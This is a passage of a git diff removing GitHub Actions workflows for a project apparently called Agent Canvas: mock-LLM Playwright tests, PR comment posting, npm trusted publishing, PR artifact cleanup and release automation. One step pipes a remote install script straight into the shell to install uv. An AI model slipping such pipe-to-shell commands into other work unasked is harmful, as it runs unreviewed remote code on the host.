playwright-report-mock-llm-docker/ - test-results-mock-llm-docker/ - - - name: Detect newly added spec files - if: always() && github.event.pull_request.number - id: new_specs - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - # Find mock-LLM spec files added (not just modified) in this PR - NEW_FILES=$(gh api \ - "/repos/${{ github.repository }}/pulls/${{ github.event.pull_request.number }}/files" \ - --paginate \ - --jq '[.[] | select(.status == "added") | .filename - | select(test("tests/e2e/mock-llm/.*\\.spec\\.ts$"))] - | join(",")') - echo "files=$NEW_FILES" >> "$GITHUB_OUTPUT" - - - name: Render test report - if: always() - run: | - node tests/e2e/mock-llm/scripts/render-mock-llm-report.mjs \ - --results "test-results-mock-llm-docker/results.json" \ - --output "$MOCK_LLM_REPORT_PATH" \ - --workflow-url "$MOCK_LLM_WORKFLOW_URL" \ - --commit "${{ steps.ctx.outputs.sha }}" \ - --artifact-url "${{ steps.upload_artifacts.outputs.artifact-url || '' }}" \ - --title "Mock-LLM Docker E2E Test Results" \ - --exit-code "${{ steps.run_tests.outputs.exit_code }}" \ - --new-files "${{ steps.new_specs.outputs.files || '' }}" - cat "$MOCK_LLM_REPORT_PATH" >> "$GITHUB_STEP_SUMMARY" - - - name: Post PR comment - if: always() && steps.ctx.outputs.pr_number - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - node tests/e2e/mock-llm/scripts/upsert-pr-comment.mjs \ - --issue-number "${{ steps.ctx.outputs.pr_number }}" \ - --body-file "$MOCK_LLM_REPORT_PATH" \ - --marker "" \ - --legacy-title "Mock-LLM Docker E2E Test Results" - - - name: Fail job when tests fail - if: always() - run: | - exit_code="${{ steps.run_tests.outputs.exit_code }}" - exit "${exit_code:-1}" diff --git a/.github/workflows/mock-llm-e2e-comment.yml b/.github/workflows/mock-llm-e2e-comment.yml deleted file mode 100644 index bf9c37a34..000000000 --- a/.github/workflows/mock-llm-e2e-comment.yml +++ /dev/null @@ -1,59 +0,0 @@ -# Post Mock-LLM E2E test report as a PR comment. -# -# Triggered by `workflow_run` so it executes in the context of the base -# repository with write permissions — necessary for fork PRs where the -# `pull_request` token is read-only. -# -# Same-repo PRs already get an inline comment from the test workflow -# itself; this workflow covers the fork-PR gap. It is safe because it -# only checks out base-repository workflow code, never PR code, then downloads -# the rendered report artifact and posts it. - -name: "Mock-LLM E2E: Post PR Comment" - -on: - workflow_run: - workflows: ["Mock-LLM E2E Tests"] - types: [completed] - -permissions: - contents: read - pull-requests: write - -jobs: - post-comment: - name: Post PR comment - runs-on: ubuntu-24.04 - # Only run for fork PRs — same-repo PRs are handled inline. - if: >- - github.event.workflow_run.event == 'pull_request' && - github.event.workflow_run.head_repository.full_name != github.repository - steps: - - name: Check out base repository - uses: actions/checkout@v7 - - - name: Download PR comment payload - uses: actions/download-artifact@v8 - id: download - with: - name: mock-llm-pr-comment-payload - run-id: ${{ github.event.workflow_run.id }} - github-token: ${{ github.token }} - continue-on-error: true - - - name: Post comment - if: steps.download.outcome == 'success' - continue-on-error: true - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - PR_NUMBER=$(cat pr_number.txt) - if [ -z "$PR_NUMBER" ]; then - echo "::warning::Could not determine PR number; skipping comment." - exit 0 - fi - node tests/e2e/mock-llm/scripts/upsert-pr-comment.mjs \ - --issue-number "$PR_NUMBER" \ - --body-file mock-llm-report.md \ - --marker "" \ - --legacy-title "Mock-LLM E2E Tests" diff --git a/.github/workflows/mock-llm-e2e.yml b/.github/workflows/mock-llm-e2e.yml deleted file mode 100644 index d1b688a30..000000000 --- a/.github/workflows/mock-llm-e2e.yml +++ /dev/null @@ -1,341 +0,0 @@ -name: Mock-LLM E2E Tests - -on: - pull_request: - types: [opened, synchronize, reopened] - workflow_dispatch: - -concurrency: - group: mock-llm-e2e-${{ github.event.pull_request.number || github.ref }} - cancel-in-progress: true - -permissions: - contents: read - pull-requests: write - -jobs: - detect-pr-changes: - runs-on: ubuntu-24.04 - outputs: - should_run: ${{ steps.detect.outputs.should_run }} - steps: - - name: Detect PR changes relevant to mock-LLM E2E - id: detect - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - if [ "${{ github.event_name }}" != "pull_request" ]; then - echo "should_run=true" >> "$GITHUB_OUTPUT" - exit 0 - fi - - CHANGED_FILES=$(gh api \ - "/repos/${{ github.repository }}/pulls/${{ github.event.pull_request.number }}/files" \ - --paginate --jq '.[].filename') - - SHOULD_RUN=false - while IFS= read -r file; do - case "$file" in - src/*|public/*|scripts/*|bin/*|config/*|tests/e2e/mock-llm/*|tests/e2e/support/*|package.json|package-lock.json|vite.config.ts|tsconfig.json|react-router.config.ts|playwright.mock-llm.config.ts|tailwind.config.js|hero.ts|.github/workflows/mock-llm-e2e.yml) - SHOULD_RUN=true - break - ;; - esac - done <<< "$CHANGED_FILES" - - echo "should_run=$SHOULD_RUN" >> "$GITHUB_OUTPUT" - - mock-llm-e2e: - needs: detect-pr-changes - if: github.event_name != 'pull_request' || needs.detect-pr-changes.outputs.should_run == 'true' - runs-on: ubuntu-24.04 - # Full-suite runs can spend several minutes on dependency, browser, uv, - # and frontend setup before Playwright starts. Keep Playwright's own - # 10-minute test deadline below, but give the job enough wall-clock room - # for setup plus reporting so GitHub does not terminate it mid-suite. - timeout-minutes: 30 - - env: - MOCK_LLM_REPORT_PATH: mock-llm-report.md - MOCK_LLM_WORKFLOW_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} - - steps: - - name: Check out repository - uses: actions/checkout@v7 - - - name: Read defaults from config/defaults.json - id: defaults - run: | - echo "agent_server_version=$(node -p "require('./config/defaults.json').versions.agentServer")" >> "$GITHUB_OUTPUT" - echo "automation_version=$(node -p "require('./config/defaults.json').versions.automation")" >> "$GITHUB_OUTPUT" - echo "acp_constraint=$(node -p "require('./config/defaults.json').constraints.agentClientProtocol")" >> "$GITHUB_OUTPUT" - - - name: Set up Node.js - uses: actions/setup-node@v7 - with: - # Pin to 24.15.x — Node 24.16.0 has a zip-extraction regression - # (nodejs/node#63487) that hangs `playwright install` for Playwright - # < 1.60.0. Remove this pin after upgrading to Playwright >= 1.60.0. - node-version: "24.15" - cache: npm - - - name: Install npm dependencies - run: npm ci - - - name: Get Playwright version - id: pw_version - run: echo "version=$(npx playwright --version | awk '{print $2}')" >> "$GITHUB_OUTPUT" - - - name: Cache Playwright browsers - id: pw_cache - uses: actions/cache@v6 - with: - path: ~/.cache/ms-playwright - key: playwright-${{ runner.os }}-${{ steps.pw_version.outputs.version }} - - - name: Install Playwright Chromium - if: steps.pw_cache.outputs.cache-hit != 'true' - run: npx playwright install chromium - - - name: Install Playwright system deps - run: npx playwright install-deps chromium - - - name: Install uv - run: | - curl -LsSf https://astral.sh/uv/install.sh | sh - echo "$HOME/.local/bin" >> "$GITHUB_PATH" - - - name: Install openhands-sdk (for mock LLM server) - env: - AGENT_SERVER_VERSION: ${{ steps.defaults.outputs.agent_server_version }} - # Pin agent-client-protocol to the range openhands-sdk 1.35.0 is - # compatible with. acp 0.11.0 reordered the ACP prompt() args and - # breaks the SDK's ACP client; the mock ACP server runs from this - # venv, so keep it on the same acp version as the agent-server. - ACP_CONSTRAINT: ${{ steps.defaults.outputs.acp_constraint }} - run: | - uv venv .mock-llm-venv - uv pip install -p .mock-llm-venv "openhands-sdk==$AGENT_SERVER_VERSION" "$ACP_CONSTRAINT" - - - name: Pre-warm automation backend (uvx cache) - env: - AUTOMATION_VERSION: ${{ steps.defaults.outputs.automation_version }} - run: | - # Pre-install openhands-automation into the uvx cache so the - # agent-canvas binary doesn't need to download it at startup. - # Without this, the 180s Playwright webServer timeout expires - # before the automation backend finishes installing (~60-90s). - uvx --from "openhands-automation==$AUTOMATION_VERSION" python -c "from openhands.automation.app import app; print('automation package cached')" - - - name: Verify mock LLM server starts - run: | - .mock-llm-venv/bin/python3 tests/e2e/mock-llm/scripts/mock-llm-server.py --port 9998 & - SERVER_PID=$! - # Retry up to 30 seconds — openhands-sdk's litellm import is slow - for i in $(seq 1 30); do - if curl -sf http://127.0.0.1:9998/v1/chat/completions \ - -H "Content-Type: application/json" \ - -d '{"model":"test","messages":[]}' > /dev/null 2>&1; then - echo "Mock LLM server responded on attempt $i" - break - fi - sleep 1 - done - curl -sf http://127.0.0.1:9998/v1/chat/completions \ - -H "Content-Type: application/json" \ - -d '{"model":"test","messages":[]}' | python3 -m json.tool - kill $SERVER_PID - - - name: Build frontend (for agent-canvas binary) - run: npm run build:app - - - name: Resolve affected test directories - id: affected_tests - if: github.event_name == 'pull_request' - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - # Get changed files from the PR - CHANGED_FILES=$(gh api \ - "/repos/${{ github.repository }}/pulls/${{ github.event.pull_request.number }}/files" \ - --paginate --jq '.[].filename' | tr '\n' ',') - - # Resolve which test directories to run. If the resolver fails - # (for example malformed test-mapping.json), fail closed by - # running the full suite instead of treating stderr as test paths. - if ! RESULT=$(node tests/e2e/mock-llm/scripts/resolve-affected-tests.mjs \ - --files "$CHANGED_FILES"); then - echo "::warning::Affected-test resolver failed — running full mock-LLM suite" - echo "test_paths=" >> "$GITHUB_OUTPUT" - echo "selective=false" >> "$GITHUB_OUTPUT" - exit 0 - fi - - if [ -z "$RESULT" ]; then - echo "No affected test directories — running full suite as fallback" - echo "test_paths=" >> "$GITHUB_OUTPUT" - echo "selective=false" >> "$GITHUB_OUTPUT" - elif [ "$RESULT" = "__ALL__" ]; then - echo "Cross-cutting change detected — running full suite" - echo "test_paths=" >> "$GITHUB_OUTPUT" - echo "selective=false" >> "$GITHUB_OUTPUT" - else - echo "Running selective tests: $RESULT" - echo "test_paths=$RESULT" >> "$GITHUB_OUTPUT" - echo "selective=true" >> "$GITHUB_OUTPUT" - fi - - - name: Run mock-LLM E2E tests - id: run_tests - env: - MOCK_LLM_PYTHON: .mock-llm-venv/bin/python3 - AFFECTED_TEST_PATHS: ${{ steps.affected_tests.outputs.test_paths }} - SELECTIVE_TESTS: ${{ steps.affected_tests.outputs.selective }} - run: | - set +e - MARKER_DIR=".mock-llm-markers" - DONE_MARKER="$MARKER_DIR/.tests-done" - PASS_MARKER="$MARKER_DIR/.all-passed" - rm -rf "$MARKER_DIR" - - # Build the Playwright command — either selective or full suite. - # workflow_dispatch always runs the full suite (SELECTIVE_TESTS is empty). - if [ "$SELECTIVE_TESTS" = "true" ] && [ -n "$AFFECTED_TEST_PATHS" ]; then - echo "::notice::Running selective E2E tests: $AFFECTED_TEST_PATHS" - PW_CMD="npx playwright test --config=playwright.mock-llm.config.ts $AFFECTED_TEST_PATHS" - else - PW_CMD="npm run test:e2e:mock-llm" - fi - - # Run Playwright in background so our shell survives if we have - # to kill it (the webServer teardown can hang indefinitely). - $PW_CMD & - PW_PID=$! - - # Wait for tests to complete. Playwright's globalTimeout is 600s - # (10 min) in CI; we add 60s buffer for webServer startup/teardown. - # The custom DoneMarkerReporter writes .tests-done only after ALL - # tests finish (pass or fail), before webServer teardown begins. - # .results.json is flushed after every single test, so even if we - # hit the deadline mid-suite the report script still has data. - deadline=$((SECONDS + 660)) - while [ "$SECONDS" -lt "$deadline" ]; do - if ! kill -0 "$PW_PID" 2>/dev/null; then - break - fi - if [ -f "$DONE_MARKER" ]; then - echo "Tests completed: $(cat "$DONE_MARKER")" - break - fi - sleep 2 - done - - # If Playwright is still running (teardown hang or deadline hit), - # give it 5s grace then force-kill. - if kill -0 "$PW_PID" 2>/dev/null; then - sleep 5 - if kill -0 "$PW_PID" 2>/dev/null; then - if [ -f "$DONE_MARKER" ]; then - echo "::warning::Killing lingering Playwright process (teardown hung)" - else - echo "::warning::Killing Playwright process (deadline reached, tests still running)" - fi - kill "$PW_PID" 2>/dev/null - sleep 5 - kill -9 "$PW_PID" 2>/dev/null - fi - wait "$PW_PID" 2>/dev/null - pw_exit=124 - else - wait "$PW_PID" - pw_exit=$? - fi - - echo "Playwright exited with code $pw_exit" - - # When killed during teardown, the exit code is non-zero but - # tests may have passed. The reporter writes .all-passed only - # when all tests pass, so use that as the definitive signal. - if [ "$pw_exit" -ne 0 ] && [ -f "$PASS_MARKER" ]; then - echo "::notice::All tests passed (marker file present); non-zero exit was teardown-related" - pw_exit=0 - fi - - echo "exit_code=$pw_exit" >> "$GITHUB_OUTPUT" - exit 0 - - - name: Upload test artifacts - id: upload_artifacts - if: always() - uses: actions/upload-artifact@v7 - with: - name: mock-llm-e2e-results - if-no-files-found: ignore - retention-days: 14 - path: | - playwright-report-mock-llm/ - test-results-mock-llm/ - - - name: Detect newly added spec files - if: always() && github.event.pull_request.number - id: new_specs - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - # Find mock-LLM spec files added (not just modified) in this PR - # Uses the GitHub API instead of git diff to avoid shallow-clone issues - NEW_FILES=$(gh api \ - "/repos/${{ github.repository }}/pulls/${{ github.event.pull_request.number }}/files" \ - --paginate \ - --jq '[.[] | select(.status == "added") | .filename - | select(test("tests/e2e/mock-llm/.*\\.spec\\.ts$"))] - | join(",")') - echo "files=$NEW_FILES" >> "$GITHUB_OUTPUT" - - - name: Render test report - if: always() - run: | - node tests/e2e/mock-llm/scripts/render-mock-llm-report.mjs \ - --results "test-results-mock-llm/results.json" \ - --output "$MOCK_LLM_REPORT_PATH" \ - --workflow-url "$MOCK_LLM_WORKFLOW_URL" \ - --commit "${{ github.event.pull_request.head.sha || github.sha }}" \ - --artifact-url "${{ steps.upload_artifacts.outputs.artifact-url || '' }}" \ - --exit-code "${{ steps.run_tests.outputs.exit_code }}" \ - --new-files "${{ steps.new_specs.outputs.files || '' }}" - cat "$MOCK_LLM_REPORT_PATH" >> "$GITHUB_STEP_SUMMARY" - - - name: Save PR number for comment workflow - if: always() && github.event.pull_request.number - run: echo "${{ github.event.pull_request.number }}" > pr_number.txt - - - name: Upload PR comment payload - if: always() && github.event.pull_request.number - uses: actions/upload-artifact@v7 - with: - name: mock-llm-pr-comment-payload - retention-days: 3 - path: | - ${{ env.MOCK_LLM_REPORT_PATH }} - pr_number.txt - - - name: Post PR comment (same-repo PRs only) - if: >- - always() && - github.event.pull_request.number && - github.event.pull_request.head.repo.full_name == github.repository - continue-on-error: true - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - node tests/e2e/mock-llm/scripts/upsert-pr-comment.mjs \ - --issue-number "${{ github.event.pull_request.number }}" \ - --body-file "$MOCK_LLM_REPORT_PATH" \ - --marker "" \ - --legacy-title "Mock-LLM E2E Tests" - - - name: Fail job when tests fail - if: always() - run: | - exit_code="${{ steps.run_tests.outputs.exit_code }}" - exit "${exit_code:-1}" diff --git a/.github/workflows/npm-publish.yml b/.github/workflows/npm-publish.yml deleted file mode 100644 index 4aa6c400b..000000000 --- a/.github/workflows/npm-publish.yml +++ /dev/null @@ -1,148 +0,0 @@ -name: Publish to npm - -on: - push: - tags: - - 'v*' - workflow_dispatch: - inputs: - tag: - description: 'Release tag to publish (e.g. v1.0.0-alpha.8)' - required: true - type: string - -concurrency: - group: npm-publish-${{ inputs.tag || github.ref }} - cancel-in-progress: false - -permissions: - contents: read - id-token: write - -jobs: - publish: - name: Publish to npm - runs-on: ubuntu-latest - timeout-minutes: 15 - - steps: - - name: Check out repository - uses: actions/checkout@v7 - with: - ref: ${{ inputs.tag || github.ref }} - - # Trusted publishing requires Node 22.14.0+ and npm 11.5.1+ - # See: https://docs.npmjs.com/trusted-publishers/ - - name: Set up Node.js for npm trusted publishing - uses: actions/setup-node@v7 - with: - node-version: '24' - cache: npm - registry-url: https://registry.npmjs.org - - - name: Verify npm version supports trusted publishing - run: | - echo "Node version: $(node --version)" - echo "npm version: $(npm --version)" - NPM_VERSION=$(npm --version) - NPM_MAJOR=$(echo $NPM_VERSION | cut -d. -f1) - NPM_MINOR=$(echo $NPM_VERSION | cut -d. -f2) - if [ "$NPM_MAJOR" -lt 11 ] || ([ "$NPM_MAJOR" -eq 11 ] && [ "$NPM_MINOR" -lt 5 ]); then - echo "Error: npm 11.5.1+ required for trusted publishing, got $NPM_VERSION" - exit 1 - fi - echo "✓ npm $NPM_VERSION meets trusted publishing requirements" - - - name: Install dependencies - run: npm ci - - - name: Run tests - run: npm test - - - name: Build app - env: - # Public client key baked into the packaged production app. - VITE_POSTHOG_API_KEY: ${{ vars.POSTHOG_PROD_KEY }} - run: npm run build - - - name: Build library - env: - # The precompiled library keeps the production default; embedded - # consumers can still override it through runtime analytics config. - VITE_POSTHOG_API_KEY: ${{ vars.POSTHOG_PROD_KEY }} - run: npm run build:lib - - - name: Bake package telemetry defaults - env: - # The CLI launcher runs after install, so it cannot read the build-time - # Vite env baked into the browser bundle. Store the public production - # key in the packaged defaults used by bin/agent-canvas.mjs. - POSTHOG_API_KEY: ${{ vars.POSTHOG_PROD_KEY }} - run: | - node -e ' - const fs = require("fs"); - const path = "config/defaults.json"; - const defaults = JSON.parse(fs.readFileSync(path, "utf8")); - defaults.telemetry.posthogApiKey = process.env.POSTHOG_API_KEY; - fs.writeFileSync(path, `${JSON.stringify(defaults, null, 2)}\n`); - ' - - - name: Verify package contents - run: npm pack --dry-run - - - name: Validate package version matches release tag - env: - # Pass inputs.tag via env var to prevent script injection from - # GitHub Actions expression interpolation inside run blocks. - INPUT_TAG: ${{ inputs.tag }} - run: | - PACKAGE_VERSION=$(node -p "require('./package.json').version") - # Resolve tag: prefer workflow_dispatch input, fall back to push-event GITHUB_REF - if [ -n "$INPUT_TAG" ]; then - RAW_TAG="$INPUT_TAG" - else - RAW_TAG="${GITHUB_REF#refs/tags/}" - fi - TAG_VERSION="${RAW_TAG#v}" - echo "Package version: $PACKAGE_VERSION" - echo "Release tag version: $TAG_VERSION" - if [ "$PACKAGE_VERSION" != "$TAG_VERSION" ]; then - echo "Error: package.json version ($PACKAGE_VERSION) doesn't match release tag ($TAG_VERSION)" - exit 1 - fi - echo "✓ Version $PACKAGE_VERSION matches release tag" - - # Determine if any full stable release (no pre-release suffix) has ever been - # published. Until one exists, all releases use --tag latest so plain - # `npm install @openhands/agent-canvas` always resolves to the newest build. - # Once a stable version is published, pre-release versions revert to their - # own dist-tags (alpha / beta / rc) and only stable versions keep latest. - # Note: OIDC trusted-publishing tokens cover only the `npm publish` call - # itself; a separate `npm dist-tag add` would fail with E401, so the tag - # is resolved and passed directly in one step. - - name: Resolve npm dist-tag - id: dist_tag - run: | - VERSION=$(node -p "require('./package.json').version") - VERSIONS_JSON=$(npm view @openhands/agent-canvas versions --json 2>/dev/null || echo "[]") - STABLE_EXISTS=$(VERSIONS_JSON="$VERSIONS_JSON" node -e " - const vs = JSON.parse(process.env.VERSIONS_JSON); - const arr = Array.isArray(vs) ? vs : [vs]; - console.log(arr.some(v => !v.includes('-'))); - ") - if [[ "$STABLE_EXISTS" != "true" ]]; then - DIST_TAG="latest" - elif [[ "$VERSION" == *-alpha* ]]; then - DIST_TAG="alpha" - elif [[ "$VERSION" == *-beta* ]]; then - DIST_TAG="beta" - elif [[ "$VERSION" == *-rc* ]]; then - DIST_TAG="rc" - else - DIST_TAG="latest" - fi - echo "dist_tag=$DIST_TAG" >> "$GITHUB_OUTPUT" - echo "📦 Version $VERSION → dist-tag: $DIST_TAG (stable release exists: $STABLE_EXISTS)" - - - name: Publish to npm with provenance - run: npm publish --access public --provenance --tag ${{ steps.dist_tag.outputs.dist_tag }} diff --git a/.github/workflows/pr-artifacts.yml b/.github/workflows/pr-artifacts.yml deleted file mode 100644 index f346b56fb..000000000 --- a/.github/workflows/pr-artifacts.yml +++ /dev/null @@ -1,213 +0,0 @@ -name: PR Artifacts - -on: - workflow_dispatch: - pull_request: - types: [opened, synchronize, reopened, closed] - branches: - - main - pull_request_review: - types: [submitted] - -permissions: - contents: write - -jobs: - cleanup-on-approval: - if: github.event_name == 'pull_request_review' && github.event.review.state == 'approved' - runs-on: ubuntu-latest - concurrency: - group: pr-artifacts-live-e2e-${{ github.event.pull_request.number }} - cancel-in-progress: false - permissions: - contents: write - issues: write - pull-requests: write - steps: - - name: Check if fork PR - id: check_fork - run: | - if [ "${{ github.event.pull_request.head.repo.full_name }}" != "${{ github.event.pull_request.base.repo.full_name }}" ]; then - echo "is_fork=true" >> "$GITHUB_OUTPUT" - echo "::notice::Fork PR detected - skipping automatic .pr cleanup." - else - echo "is_fork=false" >> "$GITHUB_OUTPUT" - fi - - - name: Resolve PR context - id: pr_context - if: steps.check_fork.outputs.is_fork == 'false' - env: - GH_TOKEN: ${{ github.token }} - run: | - set -euo pipefail - pr_api="repos/${{ github.repository }}/pulls/${{ github.event.pull_request.number }}" - head_ref="$(gh api "$pr_api" --jq '.head.ref')" - head_sha="$(gh api "$pr_api" --jq '.head.sha')" - echo "head_ref=$head_ref" >> "$GITHUB_OUTPUT" - echo "head_sha=$head_sha" >> "$GITHUB_OUTPUT" - if gh api "repos/${{ github.repository }}/contents/.pr?ref=$head_sha" --silent >/dev/null 2>&1; then - echo "has_pr_dir=true" >> "$GITHUB_OUTPUT" - else - echo "has_pr_dir=false" >> "$GITHUB_OUTPUT" - echo "::notice::No .pr directory exists at the approved PR head; skipping artifact cleanup." - fi - - - name: Check out PR branch - if: steps.check_fork.outputs.is_fork == 'false' && steps.pr_context.outputs.has_pr_dir == 'true' - env: - PR_ARTIFACT_PUSH_TOKEN: ${{ secrets.OPENHANDS_BOT_GITHUB_PAT_PUBLIC || github.token }} - PR_HEAD_SHA: ${{ steps.pr_context.outputs.head_sha }} - run: | - set -euo pipefail - git init . - git remote add origin "https://github.com/${GITHUB_REPOSITORY}.git" - git fetch origin "$PR_HEAD_SHA" - git checkout --detach FETCH_HEAD - actual_sha="$(git rev-parse HEAD)" - if [ "$actual_sha" != "$PR_HEAD_SHA" ]; then - echo "::error::SHA mismatch: expected $PR_HEAD_SHA, got $actual_sha" - exit 1 - fi - git config credential.helper '!f() { echo "username=x-access-token"; echo "password=$PR_ARTIFACT_PUSH_TOKEN"; }; f' - - - name: Remove .pr directory - id: remove - if: steps.check_fork.outputs.is_fork == 'false' && steps.pr_context.outputs.has_pr_dir == 'true' - env: - PR_ARTIFACT_PUSH_TOKEN: ${{ secrets.OPENHANDS_BOT_GITHUB_PAT_PUBLIC || github.token }} - PR_HEAD_REF: ${{ steps.pr_context.outputs.head_ref }} - PR_HEAD_SHA: ${{ steps.pr_context.outputs.head_sha }} - run: | - set -euo pipefail - if [ ! -d ".pr" ]; then - echo "removed=false" >> "$GITHUB_OUTPUT" - echo "::notice::No .pr directory to remove." - exit 0 - fi - - git config user.name "allhands-bot" - git config user.email "allhands-bot@users.noreply.github.com" - git rm -rf --ignore-unmatch .pr/ - if git diff --cached --quiet; then - echo "removed=false" >> "$GITHUB_OUTPUT" - echo "::notice::No tracked .pr files to remove." - exit 0 - fi - git commit -m "chore: Remove PR-only artifacts" - push_succeeded=false - for attempt in 1 2 3; do - if git push origin "HEAD:refs/heads/$PR_HEAD_REF"; then - push_succeeded=true - break - fi - - if [ "$attempt" -lt 3 ]; then - echo "::notice::Failed to push cleanup commit, rebasing and retrying." - git fetch origin "$PR_HEAD_REF" - if ! git rebase FETCH_HEAD; then - echo "::error::Failed to rebase .pr cleanup commit. Manual resolution required." - exit 1 - fi - if ! git merge-base --is-ancestor "$PR_HEAD_SHA" HEAD; then - echo "::error::Rebased .pr cleanup commit no longer descends from the approved PR head $PR_HEAD_SHA." - exit 1 - fi - sleep 2 - fi - done - if [ "$push_succeeded" != "true" ]; then - echo "::error::Failed to push .pr cleanup commit after retries." - exit 1 - fi - echo "removed=true" >> "$GITHUB_OUTPUT" - - - name: Update PR artifacts comment - if: steps.check_fork.outputs.is_fork == 'false' && steps.pr_context.outputs.has_pr_dir == 'true' && steps.remove.outputs.removed == 'true' - uses: actions/github-script@v9 - with: - script: | - const marker = ''; - const body = [ - marker, - '**PR Artifacts Cleaned Up**', - '', - 'The `.pr/` directory has been removed after approval.', - '', - ].join('\n'); - - const { data: comments } = await github.rest.issues.listComments({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - }); - const existing = comments.find((comment) => comment.body.includes(marker)); - - if (existing) { - await github.rest.issues.updateComment({ - owner: context.repo.owner, - repo: context.repo.repo, - comment_id: existing.id, - body, - }); - } - - check-pr-artifacts: - if: github.event_name == 'pull_request' - runs-on: ubuntu-latest - permissions: - contents: read - issues: write - pull-requests: write - steps: - - name: Check out repository - uses: actions/checkout@v7 - - - name: Check for .pr directory - id: check - run: | - if [ -d ".pr" ]; then - echo "exists=true" >> "$GITHUB_OUTPUT" - echo "::warning::.pr directory exists and will be automatically removed when the PR is approved. Fork PRs require manual cleanup before merging." - else - echo "exists=false" >> "$GITHUB_OUTPUT" - fi - - - name: Post or update PR artifacts comment - if: steps.check.outputs.exists == 'true' - uses: actions/github-script@v9 - with: - script: | - const marker = ''; - const body = [ - marker, - '**PR Artifacts Notice**', - '', - 'This PR contains a `.pr/` directory with PR-specific artifacts. This directory will be **automatically removed** when the PR is approved.', - '', - '> Fork PRs require manual cleanup before merging.', - '', - ].join('\n'); - - const { data: comments } = await github.rest.issues.listComments({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - }); - const existing = comments.find((comment) => comment.body.includes(marker)); - - if (existing) { - await github.rest.issues.updateComment({ - owner: context.repo.owner, - repo: context.repo.repo, - comment_id: existing.id, - body, - }); - } else { - await github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - body, - }); - } diff --git a/.github/workflows/pr-description-check.yml b/.github/workflows/pr-description-check.yml deleted file mode 100644 index f5112b1e6..000000000 --- a/.github/workflows/pr-description-check.yml +++ /dev/null @@ -1,32 +0,0 @@ ---- -name: PR Description Check - -# Use pull_request_target so fork PR descriptions can be checked, but only run -# trusted validation code from the base branch checkout below. - -on: - pull_request_target: - types: [opened, edited, reopened, ready_for_review] - -permissions: - contents: read - pull-requests: read - -jobs: - validate-pr-description: - name: Validate PR description - # Draft PRs may still have incomplete descriptions; validate when review starts. - # Bots (dependabot, release-please) write their own bodies and can't follow - # the HUMAN/AGENT template, so exempt them rather than failing every such PR. - if: >- - github.event.pull_request.draft == false - && github.event.pull_request.user.type != 'Bot' - runs-on: ubuntu-24.04 - steps: - - name: Checkout trusted workflow scripts - uses: actions/checkout@v7 - with: - ref: ${{ github.event.pull_request.base.sha }} - - - name: Validate HUMAN note and PR template - run: python .github/scripts/check_pr_description.py diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml deleted file mode 100644 index fa017cc95..000000000 --- a/.github/workflows/pr.yml +++ /dev/null @@ -1,21 +0,0 @@ -name: pr - -# Lints PR titles (Conventional Commits) and applies `type:` labels that drive -# release notes + the version release-please derives (OpenHands/release-actions). -# -# pull_request_target (not pull_request) so it also runs on fork PRs, where the -# label step needs a writable token. Safe ONLY because the reusable workflow -# never checks out PR code (reads the title from the payload) and this caller -# does NOT pass `secrets: inherit` (so the App token stays out of scope). Don't -# add a checkout step or `secrets: inherit`. -on: - pull_request_target: - # synchronize: re-run on each push so the check stays green on release-please's - # force-pushed release PR. - types: [opened, edited, reopened, synchronize] - -jobs: - pr-title: - permissions: - pull-requests: write - uses: OpenHands/release-actions/.github/workflows/pr-title.yml@main diff --git a/.github/workflows/qa-changes-by-openhands.yml b/.github/workflows/qa-changes-by-openhands.yml deleted file mode 100644 index 0e94e47fc..000000000 --- a/.github/workflows/qa-changes-by-openhands.yml +++ /dev/null @@ -1,41 +0,0 @@ ---- -# Automated QA validation of PR changes using OpenHands. -# -# This workflow runs only when the `qa-this` label is added to a same-repo PR. -# Unlike code review, the QA agent executes the changed code and posts a -# functional verification report. -name: QA Changes by OpenHands - -on: - pull_request: - types: [labeled] - -permissions: - contents: read - pull-requests: write - issues: write - -jobs: - qa-changes: - # Only run for same-repo PRs (secrets are not available to forks), and - # only when explicitly triggered by the `qa-this` label. - if: | - github.event.pull_request.head.repo.full_name == github.repository && - github.event.label.name == 'qa-this' - concurrency: - group: qa-changes-${{ github.event.pull_request.number }} - cancel-in-progress: true - runs-on: ubuntu-24.04 - timeout-minutes: 30 - steps: - - name: Run QA Changes - uses: OpenHands/extensions/plugins/qa-changes@main - with: - llm-model: litellm_proxy/openai/gpt-5.5 - llm-base-url: https://llm-proxy.app.all-hands.dev - max-budget: '10.0' - timeout-minutes: '30' - max-iterations: '500' - llm-api-key: ${{ secrets.LLM_API_KEY }} - github-token: ${{ secrets.OPENHANDS_BOT_GITHUB_PAT_PUBLIC || github.token }} - lmnr-api-key: ${{ secrets.LMNR_SKILLS_API_KEY }} diff --git a/.github/workflows/release-ready.yml b/.github/workflows/release-ready.yml deleted file mode 100644 index 20cce0926..000000000 --- a/.github/workflows/release-ready.yml +++ /dev/null @@ -1,18 +0,0 @@ -name: release ready - -on: - pull_request_target: - types: [ready_for_review] - -jobs: - release-ready: - permissions: - actions: write - contents: read - issues: write - pull-requests: write - secrets: inherit - uses: OpenHands/release-actions/.github/workflows/release-ready.yml@main - with: - product-name: Agent Canvas - slack-channel: '#proj-agent-canvas' diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml deleted file mode 100644 index e7666101e..000000000 --- a/.github/workflows/release.yml +++ /dev/null @@ -1,87 +0,0 @@ -name: release - -# release-please caller (OpenHands/release-actions). On push to main, maintains a -# "release PR" that, on merge, bumps package.json + tags vX.Y.Z + creates the -# Release; that release drives the publish workflows via `release: published`. -# Config: release-please-config.json, .release-please-manifest.json, .github/release.yml. -on: - push: - branches: - - main - - 'release/**' # maintenance branches; the release is scoped to this branch - -jobs: - # release-please only creates a tag/Release on the release-PR-merge push, which - # lands as a squash commit `chore(): release `. The "Release Tag" - # ruleset requires the `test-and-build (ubuntu)` check to be green on the tagged - # commit, so wait for it here first — otherwise release-please races CI and the - # tag push is rejected with a pre-receive rule violation (the manual-re-run - # 